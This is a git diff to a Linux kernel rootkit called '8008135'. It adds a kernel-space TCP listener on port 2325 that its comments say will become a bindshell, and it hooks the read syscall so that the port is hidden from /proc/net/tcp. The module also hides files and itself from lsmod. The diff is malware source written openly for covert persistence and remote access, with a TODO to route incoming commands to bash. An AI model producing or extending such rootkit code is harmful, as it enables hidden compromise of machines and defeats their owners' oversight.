diff --git a/Makefile b/Makefile
index b18503c..255fc67 100644
--- a/Makefile
+++ b/Makefile
@@ -19,12 +19,13 @@ INCL_H := $(PWD)/$(INCL_S)/headers
obj-m += $(MNAME).o
# Core
$(MNAME)-y += src/$(MNAME).o
+$(MNAME)-y += src/50ck3t.o
# Includes for header files etc
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
all:
- $(shell $(SRCS_S)/create_sysgen.sh)
+ $(shell $(SRCS_S)/cr3473_5y563n.sh)
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
@@ -34,5 +35,5 @@ unload:
rmmod $(MNAME)
clean:
- -rm $(SRCS_H)/sysgen.h
+ -rm $(SRCS_H)/5y563n.h
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean
diff --git a/TODO.md b/TODO.md
new file mode 100644
index 0000000..77327fd
--- /dev/null
+++ b/TODO.md
@@ -0,0 +1,10 @@
+# Pick One
+## TCP Socket
+* Add binding to shell:
+ * Incoming commands have to be redir to bash
+ * STDOUT, STDIN, STDERR Handling
+ * Remove chat, debug stuff
+* Hide open Port
+
+## Module
+* Hide itself
diff --git a/src/50ck3t.c b/src/50ck3t.c
new file mode 100644
index 0000000..9302803
--- /dev/null
+++ b/src/50ck3t.c
@@ -0,0 +1,544 @@
+/*
+ *
+ * NOTE:
+ * this is basically this guys code:
+ * https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
+ * his last update was 4 years ago, so there might be some changes,
+ * there definitely will be some regarding the data received/sent back since
+ * this is will be used as a bindshell
+ * but base is his work.
+ *
+ */
+
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "50ck3t.h"
+
+/**** types *******************************************************************
+*******************************************************************************/
+struct tcp_conn_handler_data{
+ struct sockaddr_in *FAddress;
+ struct socket *FAcceptSocket;
+ int FThreadID;
+};
+
+struct tcp_conn_handler{
+ struct tcp_conn_handler_data *data[MAX_CONNS];
+ struct task_struct *thread[MAX_CONNS];
+ int tcp_conn_handler_stopped[MAX_CONNS];
+};
+
+struct tcp_conn_handler *STCPConnHandler;
+
+
+struct tcp_server_service{
+ int FRunning;
+ struct socket *FListenSocket;
+ struct task_struct *FThread;
+ struct task_struct *FAccpeptThread;
+};
+
+struct tcp_server_service *FTCPServer_Service;
+
+
+
+/**** var **********************************************************************
+*******************************************************************************/
+static int STCPListenerStopped = 0;
+static int STCPAcceptorStopped = 0;
+
+
+char *inet_ntoa(struct in_addr *AInAddr){
+ char *LIPAddr = NULL;
+ u_int32_t LIPInt = 0;
+
+ LIPAddr = kmalloc(16 * sizeof(char), GFP_KERNEL);
+
+ if(!LIPAddr)
+ return NULL;
+ else
+ memset(LIPAddr, 0, 16);
+
+ LIPInt = AInAddr->s_addr;
+
+ sprintf(LIPAddr, "%d.%d.%d.%d", (LIPInt) & 0xFF, (LIPInt >> 8) & 0xFF,
+ (LIPInt >> 16) & 0xFF, (LIPInt >> 16) & 0xFF);
+
+ return LIPAddr;
+}
+
+int tcp_server_send(struct socket *ASocket, int AID, const char *ABuf,\
+ const size_t ALength, unsigned long AFlags){
+ struct msghdr LMsgHeader;
+ struct kvec LVec;
+ int LLen, LWritten, LLeft;
+ mm_segment_t LOldMM;
+
+ LWritten = 0;
+ LLeft = ALength;
+
+ LMsgHeader.msg_name = 0;
+ LMsgHeader.msg_namelen = 0;
+ LMsgHeader.msg_control = NULL;
+ LMsgHeader.msg_controllen = 0;
+ LMsgHeader.msg_flags = AFlags;
+ LMsgHeader.msg_flags = 0;
+
+ LOldMM = get_fs(); set_fs(KERNEL_DS);
+
+repeat_send:
+ LVec.iov_len = LLeft;
+ LVec.iov_base = (char *)ABuf + LWritten;
+
+ LLen = kernel_sendmsg(ASocket, &LMsgHeader, &LVec, LLeft, LLeft);
+
+ if((LLen == -ERESTARTSYS) || (!(AFlags & MSG_DONTWAIT) &&\
+ (LLen == -EAGAIN)))
+ goto repeat_send;
+
+ if(LLen > 0){
+ LWritten += LLen;
+ LLeft -= LLen;
+ if(LLeft)
+ goto repeat_send;
+ }
+
+ set_fs(LOldMM);
+ return LWritten?LWritten:LLen;
+}
+
+int tcp_server_receive(struct socket *ASock, int AID,struct sockaddr_in *AAddress,\
+ unsigned char *ABuf,int ASize, unsigned long AFlags){
+ struct msghdr LMsgHeader;
+ struct kvec LVec;
+ int LLen;
+ char *LTmp = NULL;
+
+ if(ASock==NULL){
+ pr_info(" *** mtp | tcp server receive socket is NULL| "
+ " tcp_server_receive *** \n");
+ return -1;
+ }
+
+ LMsgHeader.msg_name = 0;
+ LMsgHeader.msg_namelen = 0;
+ LMsgHeader.msg_control = NULL;
+ LMsgHeader.msg_controllen = 0;
+ LMsgHeader.msg_flags = AFlags;
+
+ LVec.iov_len = ASize;
+ LVec.iov_base = ABuf;
+
+read_again:
+ if(!skb_queue_empty(&ASock->sk->sk_receive_queue))
+ pr_info("recv queue empty ? %s \n",
+ skb_queue_empty(&ASock->sk->sk_receive_queue)?"yes":"no");
+
+ LLen = kernel_recvmsg(ASock, &LMsgHeader, &LVec, ASize, ASize, AFlags);
+
+ if(LLen == -EAGAIN || LLen == -ERESTARTSYS)
+ goto read_again;
+
+ LTmp = inet_ntoa(&(AAddress->sin_addr));
+
+ pr_info("client-> %s:%d, says: %s\n", LTmp, ntohs(AAddress->sin_port), ABuf);
+
+ kfree(LTmp);
+ return LLen;
+}
+
+int connection_handler(void *AData){
+ struct tcp_conn_handler_data *LConnData =
+ (struct tcp_conn_handler_data *)AData;
+
+ struct sockaddr_in *LAddress = LConnData->FAddress;
+ struct socket *LAcceptSocket = LConnData->FAcceptSocket;
+ int LID = LConnData->FThreadID;
+
+ int LRet;
+ int LLen = 49;
+ unsigned char LInBuf[LLen+1];
+ unsigned char LOutBuf[LLen+1];
+
+
+ DECLARE_WAITQUEUE(recv_wait, current);
+ allow_signal(SIGKILL|SIGSTOP);
+
+ while(1){
+ add_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+ while(skb_queue_empty(&LAcceptSocket->sk->sk_receive_queue)){
+ __set_current_state(TASK_INTERRUPTIBLE);
+ schedule_timeout(HZ);
+
+ if(kthread_should_stop()){
+ pr_info(" *** mtp | tcp server handle connection "
+ "thread stopped | connection_handler *** \n");
+
+ //tcp_conn_handler->thread[id] = NULL;
+ STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+ &recv_wait);
+ kfree(STCPConnHandler->data[LID]->FAddress);
+ kfree(STCPConnHandler->data[LID]);
+ sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+ return 0;
+ }
+
+ if(signal_pending(current)){
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+ &recv_wait);
+ goto out;
+ }
+ }
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+
+ pr_info("receiving message\n");
+ memset(LInBuf, 0, LLen+1);
+ LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
+ MSG_DONTWAIT);
+ if(LRet > 0){
+ if(memcmp(LInBuf, "HOLA", 4) == 0){
+ memset(LOutBuf, 0, LLen+1);
+ strcat(LOutBuf, "HOLASI");
+ pr_info("sending response: %s\n", LOutBuf);
+ tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+ strlen(LOutBuf), MSG_DONTWAIT);
+ }
+ if(memcmp(LInBuf, "ADIOS", 5) == 0){
+ memset(LOutBuf, 0, LLen+1);
+ strcat(LOutBuf, "ADIOSAMIGO");
+ pr_info("sending response: %s\n", LOutBuf);
+ tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+ strlen(LOutBuf), MSG_DONTWAIT);
+ break;
+ }
+ }
+ }
+
+out:
+ STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+ kfree(STCPConnHandler->data[LID]->FAddress);
+ kfree(STCPConnHandler->data[LID]);
+ sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+ STCPConnHandler->thread[LID] = NULL;
+ do_exit(0);
+}
+
+int tcp_server_accept(void){
+ int LAcceptErr = 0;
+ struct socket *LSocket;
+ struct socket *LAcceptSocket = NULL;
+ struct inet_connection_sock *LISock;
+ int LID = 0;
+ DECLARE_WAITQUEUE(accept_wait, current);
+ allow_signal(SIGKILL|SIGSTOP);
+ LSocket = FTCPServer_Service->FListenSocket;
+ pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
+ "*** \n");
+
+ while(1){
+ struct tcp_conn_handler_data *LTCPConnHData = NULL;
+ struct sockaddr_in *LClient = NULL;
+ char *LTmp;
+ int addr_len;
+
+ LAcceptErr =
+ sock_create(LSocket->sk->sk_family, LSocket->type,\
+ LSocket->sk->sk_protocol, &LAcceptSocket);
+
+ if(LAcceptErr < 0 || !LAcceptSocket){
+ pr_info(" *** mtp | accept_error: %d while creating "
+ "tcp server accept socket | "
+ "tcp_server_accept *** \n", LAcceptErr);
+ goto err;
+ }
+
+ LAcceptSocket->type = LSocket->type;
+ LAcceptSocket->ops = LSocket->ops;
+
+ LISock = inet_csk(LSocket->sk);
+
+
+ add_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+ while(reqsk_queue_empty(&LISock->icsk_accept_queue)){
+ __set_current_state(TASK_INTERRUPTIBLE);
+ schedule_timeout(HZ);
+ if(kthread_should_stop()){
+ pr_info(" *** mtp | tcp server acceptor thread "
+ "stopped | tcp_server_accept *** \n");
+ STCPAcceptorStopped = 1;
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+ &accept_wait);
+ sock_release(LAcceptSocket);
+ return 0;
+ }
+
+ if(signal_pending(current)){
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+ &accept_wait);
+ goto release;
+ }
+
+ }
+ __set_current_state(TASK_RUNNING);
+ remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+
+ pr_info("accept connection\n");
+
+ LAcceptErr =
+ LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
+
+ if(LAcceptErr < 0){
+ pr_info(" *** mtp | accept_error: %d while accepting "
+ "tcp server | tcp_server_accept *** \n",
+ LAcceptErr);
+ goto release;
+ }
+
+ LClient = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
+ memset(LClient, 0, sizeof(struct sockaddr_in));
+
+ addr_len = sizeof(struct sockaddr_in);
+
+ LAcceptErr =
+ LAcceptSocket->ops->getname(LAcceptSocket,\
+ (struct sockaddr *)LClient,\
+ &addr_len, 2);
+
+ if(LAcceptErr < 0){
+ pr_info(" *** mtp | accept_error: %d in getname "
+ "tcp server | tcp_server_accept *** \n",
+ LAcceptErr);
+ goto release;
+ }
+
+
+ LTmp = inet_ntoa(&(LClient->sin_addr));
+
+ pr_info("connection from: %s %d \n",
+ LTmp, ntohs(LClient->sin_port));
+
+ kfree(LTmp);
+
+ pr_info("handle connection\n");
+
+
+ for(LID = 0; LID < MAX_CONNS; LID++){
+ if(STCPConnHandler->thread[LID] == NULL)
+ break;
+ }
+
+ pr_info("gave free id: %d\n", LID);
+
+ if(LID == MAX_CONNS)
+ goto release;
+
+ LTCPConnHData = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
+ memset(LTCPConnHData, 0, sizeof(struct tcp_conn_handler_data));
+
+ LTCPConnHData->FAddress = LClient;
+ LTCPConnHData->FAcceptSocket = LAcceptSocket;
+ LTCPConnHData->FThreadID = LID;
+
+ STCPConnHandler->tcp_conn_handler_stopped[LID] = 0;
+ STCPConnHandler->data[LID] = LTCPConnHData;
+ STCPConnHandler->thread[LID] =
+ kthread_run((void *)connection_handler, (void *)LTCPConnHData, MODULE_NAME);
+
+ if(kthread_should_stop()){
+ pr_info(" *** mtp | tcp server acceptor thread stopped"
+ " | tcp_server_accept *** \n");
+ STCPAcceptorStopped = 1;
+ return 0;
+ }
+
+ if(signal_pending(current)){
+ break;
+ }
+
+ }
+
+
+ STCPAcceptorStopped = 1;
+ do_exit(0);
+release:
+ sock_release(LAcceptSocket);
+err:
+ STCPAcceptorStopped = 1;
+ do_exit(0);
+}
+
+int tcp_server_listen(void)
+{
+ int LServerErr;
+ struct socket *LConnSocket;
+ struct sockaddr_in LServer;
+
+ DECLARE_WAIT_QUEUE_HEAD(wq);
+
+ allow_signal(SIGKILL|SIGTERM);
+
+ LServerErr = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
+ &FTCPServer_Service->FListenSocket);
+ if(LServerErr < 0){
+ pr_info(" *** mtp | Error: %d while creating tcp server "
+ "listen socket | tcp_server_listen *** \n", LServerErr);
+ goto err;
+ }
+
+ LConnSocket = FTCPServer_Service->FListenSocket;
+ FTCPServer_Service->FListenSocket->sk->sk_reuse = 1;
+
+ LServer.sin_addr.s_addr = INADDR_ANY;
+ LServer.sin_family = AF_INET;
+ LServer.sin_port = htons(DEFAULT_PORT);
+
+ LServerErr =
+ LConnSocket->ops->bind(LConnSocket, (struct sockaddr*)&LServer,\
+ sizeof(LServer));
+
+ if(LServerErr < 0){
+ pr_info(" *** mtp | Error: %d while binding tcp server "
+ "listen socket | tcp_server_listen *** \n", LServerErr);
+ goto release;
+ }
+
+ LServerErr = LConnSocket->ops->listen(LConnSocket, 16);
+
+ if(LServerErr < 0){
+ pr_info(" *** mtp | Error: %d while listening in tcp "
+ "server listen socket | tcp_server_listen "
+ "*** \n", LServerErr);
+ goto release;
+ }
+
+ FTCPServer_Service->FAccpeptThread =
+ kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
+
+ while(1){
+ wait_event_timeout(wq, 0, 3*HZ);
+
+ if(kthread_should_stop()){
+ pr_info(" *** mtp | tcp server listening thread"
+ " stopped | tcp_server_listen *** \n");
+ return 0;
+ }
+
+ if(signal_pending(current))
+ goto release;
+ }
+
+
+ sock_release(LConnSocket);
+ STCPListenerStopped = 1;
+ do_exit(0);
+release:
+ sock_release(LConnSocket);
+err:
+ STCPListenerStopped = 1;
+ do_exit(0);
+}
+
+int tcp_server_start(void){
+ FTCPServer_Service->FRunning = 1;
+ FTCPServer_Service->FThread = kthread_run((void *)tcp_server_listen, NULL,\
+ MODULE_NAME);
+ return 0;
+}
+
+int network_server_init(void){
+ pr_info(" *** mtp | network_server initiated | "
+ "network_server_init ***\n");
+ FTCPServer_Service = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
+ memset(FTCPServer_Service, 0, sizeof(struct tcp_server_service));
+
+ STCPConnHandler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
+ memset(STCPConnHandler, 0, sizeof(struct tcp_conn_handler));
+
+ tcp_server_start();
+ return 0;
+}
+
+void network_server_exit(void){
+ int ret;
+ int id;
+
+ if(FTCPServer_Service->FThread == NULL)
+ pr_info(" *** mtp | No kernel thread to kill | "
+ "network_server_exit *** \n");
+ else
+ {
+ for(id = 0; id < MAX_CONNS; id++)
+ {
+ if(STCPConnHandler->thread[id] != NULL)
+ {
+
+ if(!STCPConnHandler->tcp_conn_handler_stopped[id])
+ {
+ ret =
+ kthread_stop(STCPConnHandler->thread[id]);
+
+ if(!ret)
+ pr_info(" *** mtp | tcp server "
+ "connection handler thread: %d "
+ "stopped | network_server_exit "
+ "*** \n", id);
+ }
+ }
+ }
+
+ if(!STCPAcceptorStopped)
+ {
+ ret = kthread_stop(FTCPServer_Service->FAccpeptThread);
+ if(!ret)
+ pr_info(" *** mtp | tcp server acceptor thread"
+ " stopped | network_server_exit *** \n");
+ }
+
+ if(!STCPListenerStopped)
+ {
+ ret = kthread_stop(FTCPServer_Service->FThread);
+ if(!ret)
+ pr_info(" *** mtp | tcp server listening thread"
+ " stopped | network_server_exit *** \n");
+ }
+
+
+ if(FTCPServer_Service->FListenSocket != NULL && !STCPListenerStopped)
+ {
+ sock_release(FTCPServer_Service->FListenSocket);
+ FTCPServer_Service->FListenSocket = NULL;
+ }
+
+ kfree(STCPConnHandler);
+ kfree(FTCPServer_Service);
+ FTCPServer_Service = NULL;
+ }
+
+}
diff --git a/src/8008135.c b/src/8008135.c
index 35bd879..6c591c3 100644
--- a/src/8008135.c
+++ b/src/8008135.c
@@ -20,6 +20,7 @@
/**** includes *****************************************************************
*******************************************************************************/
#include "8008135.h"
+#include "50ck3t.h"
/**** var ********************************************************************
*******************************************************************************/
@@ -33,7 +34,7 @@ sys_getdents_t sys_getdents_orig = NULL;
*******************************************************************************/
asmlinkage long sys_getdents_new(unsigned int fd,
struct linux_dirent __user *dirent,
- unsigned int count) {
+ unsigned int count){
int boff;
struct linux_dirent* ent;
@@ -54,7 +55,7 @@ asmlinkage long sys_getdents_new(unsigned int fd,
// if it has hide prefix or module name anywhere, hide it
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
- || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
+ || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
#if defined DEBUG
printk("\n hide prefix or mod name contained!\n");
printk("\n ret %ld\n ", ret);
@@ -84,6 +85,72 @@ asmlinkage long sys_getdents_new(unsigned int fd,
}
+/*** FUNCTION ****************************************************************
+* NAME: hide port
+* DESCRIPTION: hides the port 2325
+* PARAMETERS: -
+* RETURNS:
+*******************************************************************************/
+read_ptr orig_read;
+asmlinkage long hacked_read(unsigned int fd, char __user *buf,
+ size_t count)
+{
+ long result, bp, diff_in_bytes;
+ char *kbuf, *start_line, *end_line, *port_num;
+ char *pathname, pbuf[256];
+ struct files_struct *current_files;
+ struct fdtable *files_table;
+ struct path file_path;
+
+ // run real read
+ result = (*orig_read)(fd,buf,count);
+ if (result <= 0)
+ return result;
+
+ // get pathname
+ // CITATION [8] from report
+ current_files = current->files;
+ files_table = files_fdtable(current_files);
+
+ file_path = files_table->fd[fd]->f_path;
+ pathname = d_path(&file_path,pbuf,256*sizeof(char));
+ // if virtual file /proc/net/tcp
+ if (!strncmp(pathname,"/proc/",6) && !strcmp(pathname+10,"/net/tcp")) {
+ // copy from user to kernelspace;
+ if (!access_ok(VERIFY_READ,buf,result))
+ return -1;
+ if ((kbuf = kmalloc(result,GFP_KERNEL)) == NULL)
+ return -1;
+ if (copy_from_user(kbuf,buf,result))
+ return -1;
+
+ // filter out hidden ports
+ start_line = strchr(kbuf,':') - 4; // skip first line
+ diff_in_bytes = (start_line - kbuf) * sizeof(char);
+ for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
+ start_line = kbuf + bp;
+ port_num = strchr(strchr(start_line,':') + 1,':') + 1;
+ end_line = strchr(start_line,'\n');
+ diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
+ if (!strncmp(port_num,HIDE_PORT,4)) { // if magic port
+ memmove(start_line,end_line + 1, // delete line in file
+ result - bp - diff_in_bytes);
+ result -= diff_in_bytes;
+ }
+ }
+
+ // copy from kernel to userspace
+ if (!access_ok(VERIFY_WRITE,buf,result))
+ return EINVAL;
+ if (copy_to_user(buf,kbuf,result))
+ return EINVAL;
+ kfree(kbuf);
+ }
+ // return number of bytes read
+ return result;
+}
+
+
/*** FUNCTION ****************************************************************
* NAME: hide_module
* DESCRIPTION: hides the module from lsmod
@@ -113,12 +180,16 @@ static int __init init_8008135(void) {
// add our new handlers
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
+
+ orig_read = (read_ptr)sys_call_table[__NR_read];
+
+ sys_call_table[READ_SYSCALL_NUM] = (unsigned long) hacked_read;
// turn write protect back on
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
printk(KERN_INFO "New syscall in place\n");
-
+ network_server_init();
hide_module();
printk(KERN_INFO "Module hidden");
@@ -132,10 +203,12 @@ static int __init init_8008135(void) {
* RETURNS: -
*******************************************************************************/
static void __exit exit_8008135(void) {
+ network_server_exit();
// allow us to write to read onlu pages
write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
// set getdents handler back
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
+ sys_call_table[READ_SYSCALL_NUM] = (unsigned long) orig_read;
// turn write protect back on
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
printk(KERN_INFO "Old syscall back\n");
diff --git a/src/create_sysgen.sh b/src/cr3473_5y563n.sh
similarity index 89%
rename from src/create_sysgen.sh
rename to src/cr3473_5y563n.sh
index 50c4126..17d133d 100755
--- a/src/create_sysgen.sh
+++ b/src/cr3473_5y563n.sh
@@ -1,7 +1,7 @@
#!/usr/bin/env bash
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
SRCS_H="$SCRIPTPATH""/headers"
-SGENH="$SRCS_H""/sysgen.h"
+SGENH="$SRCS_H""/5y563n.h"
smap="/boot/System.map-$(uname -r)"
diff --git a/src/headers/50ck3t.h b/src/headers/50ck3t.h
new file mode 100644
index 0000000..b9c7b35
--- /dev/null
+++ b/src/headers/50ck3t.h
@@ -0,0 +1,50 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+#ifndef SRC_HEADERS_50CK3T_H_
+#define SRC_HEADERS_50CK3T_H_
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include
+#include
+#include
+
+#include
+#include
+
+#include
+#include
+#include
+
+#include
+#include
+
+#include
+#include
+#include
+#include
+
+#define DEFAULT_PORT 2325
+#define MAX_CONNS 16
+#define MODULE_NAME "8008135"
+
+int network_server_init(void);
+void network_server_exit(void);
+
+#endif /* SRC_HEADERS_50CK3T_H_ */
diff --git a/src/headers/8008135.h b/src/headers/8008135.h
index 82df99e..0ff10ae 100644
--- a/src/headers/8008135.h
+++ b/src/headers/8008135.h
@@ -26,13 +26,22 @@
#include
#include
#include
-#include "sysgen.h"
+#include "5y563n.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
/**** Defines *****************************************************************
*******************************************************************************/
#define GETDENTS_SYSCALL_NUM 78
+#define READ_SYSCALL_NUM 0
#define WRITE_PROTECT_FLAG (1<<16)
#define HIDE_PREFIX "8008135."
@@ -40,11 +49,12 @@
#define MODULE_NAME "8008135"
#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
+#define HIDE_PORT "0915" // 2325 in Hexadecimal
/**** Modinfo ****************************************************************
*******************************************************************************/
-MODULE_LICENSE("GPLv3");
+MODULE_LICENSE("GPL");
MODULE_AUTHOR("JanKoernerEnterprises");
MODULE_DESCRIPTION("8008135");
MODULE_VERSION("0.1");
@@ -61,6 +71,6 @@ struct linux_dirent {
typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
struct linux_dirent __user *dirent,
unsigned int count);
-
-
+typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf,
+ size_t count);
#endif /* SRC_HEADERS_8008135_H */